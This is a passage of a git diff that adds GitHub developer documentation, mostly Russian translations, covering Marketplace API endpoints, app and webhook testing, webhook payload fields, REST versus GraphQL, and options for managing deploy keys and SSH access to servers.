/handling-new-purchases-and-free-trials + - /handling-plan-changes + - /handling-plan-cancellations +shortTitle: Marketplace API usage +ms.openlocfilehash: c1c2134c916c2832cf73c2f0c61ef5036f7fe410 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145112499' +--- + diff --git a/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md b/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md new file mode 100644 index 000000000000..ec824628b182 --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md @@ -0,0 +1,38 @@ +--- +title: Конечные точки REST для API GitHub Marketplace +intro: 'Чтобы помочь управлять приложением в {% data variables.product.prodname_marketplace %}, используйте эти конечные точки API {% data variables.product.prodname_marketplace %}.' +redirect_from: + - /apps/marketplace/github-marketplace-api-endpoints + - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-rest-api-endpoints + - /marketplace/integrating-with-the-github-marketplace-api/github-marketplace-rest-api-endpoints + - /developers/github-marketplace/rest-endpoints-for-the-github-marketplace-api +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +shortTitle: REST API +ms.openlocfilehash: aac7df5600863521c482b8a13c31abf8fd103ecf +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145112496' +--- +Ниже приведен ряд полезных конечных точек, доступных для листингов в Marketplace. + +* [Список планов](/rest/reference/apps#list-plans) +* [Список учетных записей для плана](/rest/reference/apps#list-accounts-for-a-plan) +* [Получение плана подписки для учетной записи](/rest/reference/apps#get-a-subscription-plan-for-an-account) +* [Список подписок для пользователя, прошедшего проверку подлинности](/rest/reference/apps#list-subscriptions-for-the-authenticated-user) + +Дополнительные сведения о проверке подлинности при использовании API {% data variables.product.prodname_marketplace %} см. на следующих страницах: + +* [Параметры авторизации для пользователей OAuth](/apps/building-oauth-apps/authorizing-oauth-apps/) +* [Параметры проверки подлинности для API GitHub](/apps/building-github-apps/authenticating-with-github-apps/) + +{% note %} + +**Примечание.** [Ограничения скорости REST API](/rest/overview/resources-in-the-rest-api#rate-limiting) применяются ко всем конечным точкам API {% data variables.product.prodname_marketplace %}. + +{% endnote %} diff --git a/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md b/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md new file mode 100644 index 000000000000..299d2bc544de --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md @@ -0,0 +1,51 @@ +--- +title: Тестирование приложения +intro: 'GitHub рекомендует протестировать приложение с помощью API-интерфейсов и веб-перехватчиков перед отправкой списка в {% data variables.product.prodname_marketplace %}, чтобы обеспечить максимально эффективное взаимодействие с клиентами. Прежде чем эксперт по подключению утвердит ваше приложение, он должен соответствующим образом обработать потоки выставления счетов.' +redirect_from: + - /apps/marketplace/testing-apps-apis-and-webhooks + - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps + - /marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps + - /developers/github-marketplace/testing-your-app +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +ms.openlocfilehash: c542f5bd46e4555a4459c669e2f9d75e29b63ffe +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145112491' +--- +## Тестирование приложений + +Для имитации каждого потока выставления счетов можно использовать черновик листинга {% data variables.product.prodname_marketplace %}. Листинг в состоянии "Черновик" означает, что он не был отправлен на утверждение. Любые покупки, которые вы делаете с помощью черновика листинга {% data variables.product.prodname_marketplace %}, _не_ создают реальные транзакции, и GitHub не будет выполнять списание с вашей кредитной карты. Обратите внимание, что вы можете сымитировать покупки только для планов, опубликованных в черновике листинга, а не для черновиков плана. Дополнительные сведения см. в разделе [Разработка листинга для приложения](/developers/github-marketplace/drafting-a-listing-for-your-app) и [Использование API {% data variables.product.prodname_marketplace %} в приложении](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app). + +### Использование приложения разработки с черновиком листинга для тестирования изменений + +Листинг {% data variables.product.prodname_marketplace %} можно связать только с одной регистрацией приложения, и каждое приложение может получить доступ только к собственному листингу {% data variables.product.prodname_marketplace %}. По этим причинам рекомендуется настроить отдельное приложение разработки с той же конфигурацией, что и в рабочем приложении, и создать _листинг_ {% data variables.product.prodname_marketplace %}, который можно использовать для тестирования. Черновик листинга {% data variables.product.prodname_marketplace %} позволяет проверить изменения без ущерба для работы активных пользователей рабочего приложения. Вам не придется отправлять сведения о листинге {% data variables.product.prodname_marketplace %} приложения разработки, так как вы будете использовать его только для тестирования. + +Учитывая, что вы можете создавать черновики листингов {% data variables.product.prodname_marketplace %} для общедоступных приложений, необходимо сделать приложение разработки общедоступным. Общедоступные приложения недоступны для обнаружения за пределами опубликованных листингов {% data variables.product.prodname_marketplace %}, если вы не предоставляете общий доступ к URL-адресу приложения. Описание Marketplace в состоянии "Черновик" отображается только для владельца приложения. + +Если у вас есть приложение разработки с черновиком листинга, его можно использовать для тестирования изменений, внесенных в приложение при интеграции с API {% data variables.product.prodname_marketplace %} и веб-перехватчиками. + +{% warning %} + +Не выполняйте тестовые покупки в приложении, которое активно в {% data variables.product.prodname_marketplace %}. + +{% endwarning %} + +### Имитация событий покупки в Marketplace + +В сценариях тестирования может потребоваться настройка планов листинга, которые предлагают бесплатные пробные версии и возможность переключаться между бесплатными и платными подписками. Так как понижение уровня и отмена вступают в силу только после следующего цикла выставления счетов, GitHub предоставляет функцию только для разработчиков "Применить ожидающие обработки изменения" для принудительного выполнения действий планирования `changed` и `cancelled`, чтобы они вступали в силу сразу. Вы можете получить доступ к функции **Применить ожидающие обработки изменения** для приложений с _черновиками_ листингов Marketplace в https://github.com/settings/billing#pending-cycle: + +![Применение ожидающих обработки изменений](/assets/images/github-apps/github-apps-apply-pending-changes.png) + +## Тестирование API + +Для большинства конечных точек API {% data variables.product.prodname_marketplace %} мы также предоставляем конечные точки API с заглушками, которые возвращают жестко закодированные фиктивные данные, которые можно использовать для тестирования. Чтобы получить данные с заглушкой, необходимо указать URL-адреса с заглушкой, которые включают `/stubbed` в маршрут (например, `/user/marketplace_purchases/stubbed`). Список конечных точек, поддерживающих эту методику с использованием данных с заглушками, см. в разделе [Конечные точки {% data variables.product.prodname_marketplace %}](/rest/reference/apps#github-marketplace). + +## Тестирование веб-перехватчиков + +GitHub предоставляет средства для тестирования развернутых полезных данных. См. дополнительные сведения в разделе [Тестирование веб-перехватчиков](/webhooks/testing/). diff --git a/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md b/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md new file mode 100644 index 000000000000..bf04fc7716ed --- /dev/null +++ b/translations/ru-RU/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md @@ -0,0 +1,81 @@ +--- +title: События веб-перехватчика для API GitHub Marketplace +intro: 'Приложение {% data variables.product.prodname_marketplace %} получает сведения об изменениях плана пользователя из веб-перехватчика событий покупки на Marketplace. Событие покупки на Marketplace активируется при совершении покупки, отмене или изменении плана оплаты пользователем.' +redirect_from: + - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing + - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events + - /marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events + - /developers/github-marketplace/webhook-events-for-the-github-marketplace-api +versions: + fpt: '*' + ghec: '*' +topics: + - Marketplace +shortTitle: Webhook events +ms.openlocfilehash: 31afac532a1b10c462085f0403d4ed210750ca77 +ms.sourcegitcommit: fb740a96852435c748dad95d560327e80b4cef19 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/24/2022 +ms.locfileid: '148105679' +--- +## {% data variables.product.prodname_marketplace %} покупка полезных данных веб-перехватчика + +Запросы веб-перехватчиков `POST` содержат специальные символы. Дополнительные сведения см. в разделе [Заголовки доставки веб-перехватчиков](/webhooks/event-payloads/#delivery-headers). GitHub не выполняет повторную отправку в случае сбоя доставки. Убедитесь, что приложение может принимать все полезные данные веб-перехватчика, отправленные GitHub. + +Отмена и понижение уровня вступают в силу в первый день следующего цикла выставления счетов. События понижения уровня и отмены отправляются, когда новый план вступает в силу в начале следующего цикла выставления счетов. События для новых покупок и обновлений начинаются немедленно. Используйте `effective_date` в полезных данных веб-перехватчика, чтобы определить, когда начнется изменение. + +{% data reusables.marketplace.marketplace-malicious-behavior %} + +Все `marketplace_purchase` полезные данные веб-перехватчика будут содержать следующие сведения: + + +Ключ | Тип | Описание +----|------|------------- +`action` | `string` | Действие, выполненное для создания веб-перехватчика. Может быть `purchased`, `cancelled`, `pending_change`, `pending_change_cancelled` или `changed`. Дополнительные сведения см. в примере полезных данных веб-перехватчика ниже. **Примечание.** Полезные данные `pending_change` и `pending_change_cancelled` содержат те же ключи, которые показаны в [`changed` примере полезных данных.](#example-webhook-payload-for-a-changed-event) +`effective_date` | `string` | Дата, когда `action` вступает в силу. +`sender` | `object` | Человек, который взял `action`, который вызвал веб-перехватчик. +`marketplace_purchase` | `object` | Информация о покупке {% data variables.product.prodname_marketplace %}. + +Объект `marketplace_purchase` содержит следующие ключи: + +Ключ | Тип | Описание +----|------|------------- +`account` | `object` | Учетные записи `organization` или `user`, связанные с подпиской. Учетные записи организации будут включать `organization_billing_email` — адрес электронной почты администратора организации. Чтобы найти адреса электронной почты для личных учетных записей, можно использовать конечную точку [Получение пользователя, прошедшего проверку подлинности](/rest/reference/users#get-the-authenticated-user). +`billing_cycle` | `string` | Может иметь значение `yearly` или `monthly`. Если владелец `account` использует бесплатный план GitHub и приобрел бесплатный план {% data variables.product.prodname_marketplace %}, `billing_cycle` будет иметь значение `nil`. +`unit_count` | `integer` | Количество приобретенных единиц. +`on_free_trial` | `boolean` | `true`, если `account` доступен в пробной бесплатной версии. +`free_trial_ends_on` | `string` | Дата истечения срока действия бесплатной пробной версии. +`next_billing_date` | `string` | Дата начала следующего цикла выставления счетов. Если владелец `account` использует бесплатный план GitHub.com и приобрел бесплатный план {% data variables.product.prodname_marketplace %}, `next_billing_date` будет иметь значение `nil`. +`plan` | `object` | План, приобретенный `user` или `organization`. + +Объект `plan` содержит следующие ключи: + +Ключ | Тип | Описание +----|------|------------- +`id` | `integer` | Уникальный идентификатор этого плана. +`name` | `string` | Имя плана. +`description` | `string` | Описание этого плана. +`monthly_price_in_cents` | `integer` | Цена этого плана за месяц в центах (валюта США). Например, листинг, который стоит 10 долларов США в месяц, будет иметь значение "1000 центов". +`yearly_price_in_cents` | `integer` | Цена этого плана за год в центах (валюта США). Например, листинг, который стоит 100 долларов США в год, будет иметь значение "120 000 центов". +`price_model` | `string` | Модель ценообразования для этого листинга. Может иметь значение `FLAT_RATE`, `PER_UNIT` или `FREE`. +`has_free_trial` | `boolean` | `true`, если в этом листинге предлагается бесплатная пробная версия. +`unit_name` | `string` | Имя единицы. Если модель ценообразования отличается от `per-unit`, будет иметь значение `nil`. +`bullet` | `array of strings` | Имена маркеров, заданных в тарифном плане. + +<br/> + +### Пример полезных данных веб-перехватчика для события `purchased` +В этом примере приведены полезные данные события `purchased`. + +{{ webhookPayloadsForCurrentVersion.marketplace_purchase.purchased }} + +### Пример полезных данных веб-перехватчика для события `changed` + +Изменения в плане включают обновления и понижения уровня. В этом примере представлены полезные данные событий `changed`, `pending_change` и `pending_change_cancelled`. Действие определяет, какое из этих трех событий произошло. + +{{ webhookPayloadsForCurrentVersion.marketplace_purchase.changed }} + +### Пример полезных данных веб-перехватчика для события `cancelled` + +{{ webhookPayloadsForCurrentVersion.marketplace_purchase.cancelled }} diff --git a/translations/ru-RU/content/developers/index.md b/translations/ru-RU/content/developers/index.md new file mode 100644 index 000000000000..87a2b721fc3f --- /dev/null +++ b/translations/ru-RU/content/developers/index.md @@ -0,0 +1,44 @@ +--- +title: Разработчикам +intro: 'Изучите более подробную информацию в {% data variables.product.prodname_dotcom %} путем интеграции с нашими API и веб-перехватчиками, настройки рабочего процесса {% data variables.product.prodname_dotcom %}, создания и использования приложений совместно с участниками сообщества.' +introLinks: + About apps: /developers/apps/getting-started-with-apps/about-apps +layout: product-landing +featuredLinks: + guides: + - /developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps + - /developers/apps/building-github-apps/creating-a-github-app + - /developers/apps/building-github-apps/authenticating-with-github-apps + - /developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps + popular: + - /developers/overview/about-githubs-apis + - /developers/webhooks-and-events/webhooks/webhook-events-and-payloads + - /developers/apps/building-github-apps/creating-a-github-app + - /developers/apps/building-github-apps/authenticating-with-github-apps + - /developers/webhooks-and-events/webhooks/about-webhooks + - /developers/apps/building-oauth-apps/authorizing-oauth-apps + - /developers/github-marketplace/github-marketplace-overview/about-github-marketplace + guideCards: + - /developers/webhooks-and-events/webhooks/creating-webhooks + - /developers/apps/guides/using-the-github-api-in-your-app + - /developers/apps/guides/creating-ci-tests-with-the-checks-api +changelog: + label: apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /overview + - /webhooks-and-events + - /apps + - /github-marketplace +ms.openlocfilehash: dea95cbf3a90b14441c8bd09692c27dd3798d8e5 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109279' +--- + diff --git a/translations/ru-RU/content/developers/overview/about-githubs-apis.md b/translations/ru-RU/content/developers/overview/about-githubs-apis.md new file mode 100644 index 000000000000..dbaa547ee22d --- /dev/null +++ b/translations/ru-RU/content/developers/overview/about-githubs-apis.md @@ -0,0 +1,81 @@ +--- +title: About GitHub's APIs +intro: 'Learn about {% data variables.product.prodname_dotcom %}''s APIs to extend and customize your {% data variables.product.prodname_dotcom %} experience.' +redirect_from: + - /v3/versions + - /articles/getting-started-with-the-api + - /github/extending-github/getting-started-with-the-api +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +--- + +## About {% data variables.product.company_short %}'s APIs + +{% data variables.product.company_short %} provides two APIs: a REST API and a GraphQL API. You can interact with both APIs using {% data variables.product.prodname_cli %}, curl, the official Octokit libraries, and third party libraries. Occasionally, a feature may be supported on one API but not the other. + +You should use the API that best aligns with your needs and that you are most comfortable using. You don't need to exclusively use one API over the other. Node IDs let you move between the REST API and GraphQL API. For more information, see "[Using global node IDs](/graphql/guides/using-global-node-ids)." + +This article discusses the benefits of each API. For more information about the GraphQL API, see "[About the GraphQL API](/graphql/overview/about-the-graphql-api)." For more information about the REST API, see [the REST documentation](/rest). + +## Choosing the GraphQL API + +The GraphQL API returns exactly the data that you request. GraphQL also returns the data in a pre-known structure based on your request. In contrast, the REST API returns more data than you requested and returns it in a pre-determined structure. You can also accomplish the equivalent of multiple REST API request in a single GraphQL request. The ability to make fewer requests and fetch less data makes GraphQL appealing to developers of mobile applications. + +For example, to get the {% data variables.product.product_name %} login of ten of your followers, and the login of ten followers of each of your followers, you can send a single request like: + +```graphql +{ + viewer { + followers(first: 10) { + nodes { + login + followers(first: 10) { + nodes { + login + } + } + } + } + } +} +``` + +The response will be a JSON object that follows the structure of your request. + +In contrast, to get this same information from the REST API, you would need to first make a request to `GET /user/followers`. The API would return the login of each follower, along with other data about the followers that you don't need. Then, for each follower, you would need to make a request to `GET /users/{username}/followers`. In total, you would need to make 11 requests to get the same information that you could get from a single GraphQL request, and you would receive excess data. + +## Choosing the REST API + +Because REST APIs have been around for longer than GraphQL APIs, some developers are more comfortable with the REST API. Since REST APIs use standard HTTP verbs and concepts, many developers are already familiar with the basic concepts to use the REST API. + +For example, to create an issue in the `octocat/Spoon-Knife` repository, you would need to send a request to `POST /repos/octocat/Spoon-Knife/issues` with a JSON request body: + +```json +{ + "title": "Bug with feature X", + "body": "If you do A, then B happens" +} +``` + +In contrast, to make an issue using the GraphQL API, you would need to get the node ID of the `octocat/Spoon-Knife` repository and then send a request like: + +```graphql +mutation { + createIssue( + input: { + repositoryId: "MDEwOlJlcG9zaXRvcnkxMzAwMTky" + title: "Bug with feature X" + body: "If you do A, then B happens"} + ) { + issue { + number + url + } + } +} +``` diff --git a/translations/ru-RU/content/developers/overview/github-developer-program.md b/translations/ru-RU/content/developers/overview/github-developer-program.md new file mode 100644 index 000000000000..d88305356b87 --- /dev/null +++ b/translations/ru-RU/content/developers/overview/github-developer-program.md @@ -0,0 +1,40 @@ +--- +title: Программа для разработчиков GiHub +intro: 'При создании средств, которые интегрируются с {% data variables.product.prodname_dotcom %}, вы можете присоединиться к программе Developer Program {% data variables.product.prodname_dotcom %}.' +redirect_from: + - /program +versions: + fpt: '*' + ghec: '*' +topics: + - API +ms.openlocfilehash: 7e1333c491e275c171cce14060c04b01f14bf0a8 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147770876' +--- +Занимаетесь созданием приложения, которое интегрируется с GitHub? Зарегистрируйтесь в нашей программе для разработчиков! Возможности бесконечны, и вы наслаждаетесь высокими оценками. [Зарегистрироваться](https://github.com/developer/register) + +## Сделайте то, что хотите + +Создавайте собственные инструменты, которые легко интегрируются с местом, куда вы передаете код каждый день. + +## Действие для предприятия + +Электронная почта <a href="mailto:partnerships@github.com">partnerships@github.com</a>, чтобы запросить лицензии разработчика для создания и тестирования приложения на {% data variables.product.prodname_ghe_server %}. + +## У вас есть интеграция, которая работает с GitHub? + +Замечательно! Мы хотели бы пригласить вас присоединиться к программе. Об этом можно сообщить следующим образом:</p> +* [Сообщите нам о своей интеграции](https://support.github.com/contact?tags=rr-general-technical&form[subject]=New+GitHub+Integration). +* Используйте [логотип Octocat или GitHub](https://github.com/logos), чтобы указать, что продукт работает с GitHub. +* Публикация на веб-сайте видео или блога об интеграции. + +## Готовы присоединиться к программе для разработчиков GitHub? + +Членство доступно отдельным разработчикам и компаниям, которые имеют: + +* Интеграцию в рабочей среде или среде разработки с использованием API GitHub. +* Адрес электронной почты, который пользователи GitHub могут использовать для обращения за поддержкой. diff --git a/translations/ru-RU/content/developers/overview/index.md b/translations/ru-RU/content/developers/overview/index.md new file mode 100644 index 000000000000..8d177a142a29 --- /dev/null +++ b/translations/ru-RU/content/developers/overview/index.md @@ -0,0 +1,23 @@ +--- +title: Обзор +intro: 'Узнайте об API-интерфейсах {% data variables.product.prodname_dotcom %}{% ifversion ghes or ghae %} и о защите развертываний.{% else %}, защита развертываний и присоединении к программе для разработчиков {% data variables.product.prodname_dotcom %}.{% endif %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /about-githubs-apis + - /managing-deploy-keys + - /using-ssh-agent-forwarding + - /secret-scanning-partner-program + - /replacing-github-services + - /github-developer-program +ms.openlocfilehash: e5a3abbd6a629148e99b756ff6e0f636ae03fe53 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145112443' +--- + diff --git a/translations/ru-RU/content/developers/overview/managing-deploy-keys.md b/translations/ru-RU/content/developers/overview/managing-deploy-keys.md new file mode 100644 index 000000000000..9f838c2051b4 --- /dev/null +++ b/translations/ru-RU/content/developers/overview/managing-deploy-keys.md @@ -0,0 +1,195 @@ +--- +title: Managing deploy keys +intro: Learn different ways to manage SSH keys on your servers when you automate deployment scripts and which way is best for you. +redirect_from: + - /guides/managing-deploy-keys + - /v3/guides/managing-deploy-keys + - /deploy-keys + - /articles/managing-deploy-keys + - /multiple-keys +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +--- + + +You can manage SSH keys on your servers when automating deployment scripts using SSH agent forwarding, HTTPS with OAuth tokens, deploy keys, or machine users. + +## SSH agent forwarding + +In many cases, especially in the beginning of a project, SSH agent forwarding is the quickest and simplest method to use. Agent forwarding uses the same SSH keys that your local development computer uses. + +#### Pros + +* You do not have to generate or keep track of any new keys. +* There is no key management; users have the same permissions on the server that they do locally. +* No keys are stored on the server, so in case the server is compromised, you don't need to hunt down and remove the compromised keys. + +#### Cons + +* Users **must** SSH in to deploy; automated deploy processes can't be used. +* SSH agent forwarding can be troublesome to run for Windows users. + +#### Setup + +1. Turn on agent forwarding locally. See [our guide on SSH agent forwarding][ssh-agent-forwarding] for more information. +2. Set your deploy scripts to use agent forwarding. For example, on a bash script, enabling agent forwarding would look something like this: +`ssh -A serverA 'bash -s' < deploy.sh` + +## HTTPS cloning with OAuth tokens + +If you don't want to use SSH keys, you can use HTTPS with OAuth tokens. + +#### Pros + +* Anyone with access to the server can deploy the repository. +* Users don't have to change their local SSH settings. +* Multiple tokens (one for each user) are not needed; one token per server is enough. +* A token can be revoked at any time, turning it essentially into a one-use password. +{% ifversion ghes %} +* Generating new tokens can be easily scripted using [the OAuth API](/rest/reference/oauth-authorizations#create-a-new-authorization). +{% endif %} + +#### Cons + +* You must make sure that you configure your token with the correct access scopes. +* Tokens are essentially passwords, and must be protected the same way. + +#### Setup + +See [our guide on creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). + +## Deploy keys + +{% data reusables.repositories.deploy-keys %} + +{% data reusables.repositories.deploy-keys-write-access %} + +#### Pros + +* Anyone with access to the repository and server has the ability to deploy the project. +* Users don't have to change their local SSH settings. +* Deploy keys are read-only by default, but you can give them write access when adding them to a repository. + +#### Cons + +* Deploy keys only grant access to a single repository. More complex projects may have many repositories to pull to the same server. +* Deploy keys are usually not protected by a passphrase, making the key easily accessible if the server is compromised. + +#### Setup + +1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server, and remember where you save the generated public and private rsa key pair. +{% data reusables.profile.navigating-to-profile %} + + ![Navigation to profile](/assets/images/profile-page.png) +1. On your profile page, click **Repositories**, then click the name of your repository. ![Repositories link](/assets/images/repos.png) +2. From your repository, click **Settings**. ![Repository settings](/assets/images/repo-settings.png) +3. In the sidebar, click **Deploy Keys**, then click **Add deploy key**. ![Add Deploy Keys link](/assets/images/add-deploy-key.png) +4. Provide a title, paste in your public key. ![Deploy Key page](/assets/images/deploy-key.png) +5. Select **Allow write access** if you want this key to have write access to the repository. A deploy key with write access lets a deployment push to the repository. +6. Click **Add key**. + +#### Using multiple repositories on one server + +If you use multiple repositories on one server, you will need to generate a dedicated key pair for each one. You can't reuse a deploy key for multiple repositories. + +In the server's SSH configuration file (usually `~/.ssh/config`), add an alias entry for each repository. For example: + +```bash +Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0 + Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %} + IdentityFile=/home/user/.ssh/repo-0_deploy_key + +Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-1 + Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %} + IdentityFile=/home/user/.ssh/repo-1_deploy_key +``` + +* `Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0` - The repository's alias. +* `Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}` - Configures the hostname to use with the alias. +* `IdentityFile=/home/user/.ssh/repo-0_deploy_key` - Assigns a private key to the alias. + +You can then use the hostname's alias to interact with the repository using SSH, which will use the unique deploy key assigned to that alias. For example: + +```bash +$ git clone git@{% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-1:OWNER/repo-1.git +``` + +## Server-to-server tokens + +If your server needs to access repositories across one or more organizations, you can use a GitHub App to define the access you need, and then generate _tightly-scoped_, _server-to-server_ tokens from that GitHub App. The server-to-server tokens can be scoped to single or multiple repositories, and can have fine-grained permissions. For example, you can generate a token with read-only access to a repository's contents. + +Since GitHub Apps are a first class actor on {% data variables.product.product_name %}, the server-to-server tokens are decoupled from any GitHub user, which makes them comparable to "service tokens". Additionally, server-to-server tokens have dedicated rate limits that scale with the size of the organizations that they act upon. For more information, see [Rate limits for {% data variables.product.prodname_github_apps %}](/developers/apps/rate-limits-for-github-apps). + +#### Pros + +- Tightly-scoped tokens with well-defined permission sets and expiration times (1 hour, or less if revoked manually using the API). +- Dedicated rate limits that grow with your organization. +- Decoupled from GitHub user identities, so they do not consume any licensed seats. +- Never granted a password, so cannot be directly signed in to. + +#### Cons + +- Additional setup is needed to create the GitHub App. +- Server-to-server tokens expire after 1 hour, and so need to be re-generated, typically on-demand using code. + +#### Setup + +1. Determine if your GitHub App should be public or private. If your GitHub App will only act on repositories within your organization, you likely want it private. +1. Determine the permissions your GitHub App requires, such as read-only access to repository contents. +1. Create your GitHub App via your organization's settings page. For more information, see [Creating a GitHub App](/developers/apps/creating-a-github-app). +1. Note your GitHub App `id`. +1. Generate and download your GitHub App's private key, and store this safely. For more information, see [Generating a private key](/developers/apps/authenticating-with-github-apps#generating-a-private-key). +1. Install your GitHub App on the repositories it needs to act upon, optionally you may install the GitHub App on all repositories in your organization. +1. Identify the `installation_id` that represents the connection between your GitHub App and the organization repositories it can access. Each GitHub App and organization pair have at most a single `installation_id`. You can identify this `installation_id` via [Get an organization installation for the authenticated app](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app). +1. Generate a server-to-server token using the corresponding REST API endpoint, [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app), and [Authenticating as an installation](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation). +1. Use this server-to-server token to interact with your repositories, either via the REST or GraphQL APIs, or via a Git client. + +## Machine users + +If your server needs to access multiple repositories, you can create a new account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} and attach an SSH key that will be used exclusively for automation. Since this account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} won't be used by a human, it's called a _machine user_. You can add the machine user as a [collaborator][collaborator] on a personal repository (granting read and write access), as an [outside collaborator][outside-collaborator] on an organization repository (granting read, write, or admin access), or to a [team][team] with access to the repositories it needs to automate (granting the permissions of the team). + +{% ifversion fpt or ghec %} + +{% tip %} + +**Tip:** Our [terms of service][tos] state: + +> *Accounts registered by "bots" or other automated methods are not permitted.* + +This means that you cannot automate the creation of accounts. But if you want to create a single machine user for automating tasks such as deploy scripts in your project or organization, that is totally cool. + +{% endtip %} + +{% endif %} + +#### Pros + +* Anyone with access to the repository and server has the ability to deploy the project. +* No (human) users need to change their local SSH settings. +* Multiple keys are not needed; one per server is adequate. + +#### Cons + +* Only organizations can restrict machine users to read-only access. Personal repositories always grant collaborators read/write access. +* Machine user keys, like deploy keys, are usually not protected by a passphrase. + +#### Setup + +1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server and attach the public key to the machine user account. +2. Give the machine user account access to the repositories you want to automate. You can do this by adding the account as a [collaborator][collaborator], as an [outside collaborator][outside-collaborator], or to a [team][team] in an organization. + +[ssh-agent-forwarding]: /guides/using-ssh-agent-forwarding/ +[generating-ssh-keys]: /articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/#generating-a-new-ssh-key +[tos]: /free-pro-team@latest/github/site-policy/github-terms-of-service/ +[git-automation]: /articles/git-automation-with-oauth-tokens +[collaborator]: /articles/inviting-collaborators-to-a-personal-repository +[outside-collaborator]: /articles/adding-outside-collaborators-to-repositories-in-your-organization +[team]: /articles/adding-organization-members-to-a-team + +## Further reading +- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options) diff --git a/translations/ru-RU/content/developers/overview/replacing-github-services.md b/translations/ru-RU/content/developers/overview/replacing-github-services.md new file mode 100644 index 000000000000..031b99908956 --- /dev/null +++ b/translations/ru-RU/content/developers/overview/replacing-github-services.md @@ -0,0 +1,78 @@ +--- +title: Замена служб GitHub +intro: 'Если вы по-прежнему используете устаревшие службы {% data variables.product.prodname_dotcom %}, узнайте, как перенести перехватчики службы в веб-перехватчики.' +redirect_from: + - /guides/replacing-github-services + - /v3/guides/automating-deployments-to-integrators + - /v3/guides/replacing-github-services +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - API +ms.openlocfilehash: ddbe9552b1520f2238e531afca06e449ba2f2ff8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145112424' +--- +Мы заменили службы GitHub интеграцией с веб-перехватчиками. Это руководство поможет вам перейти на 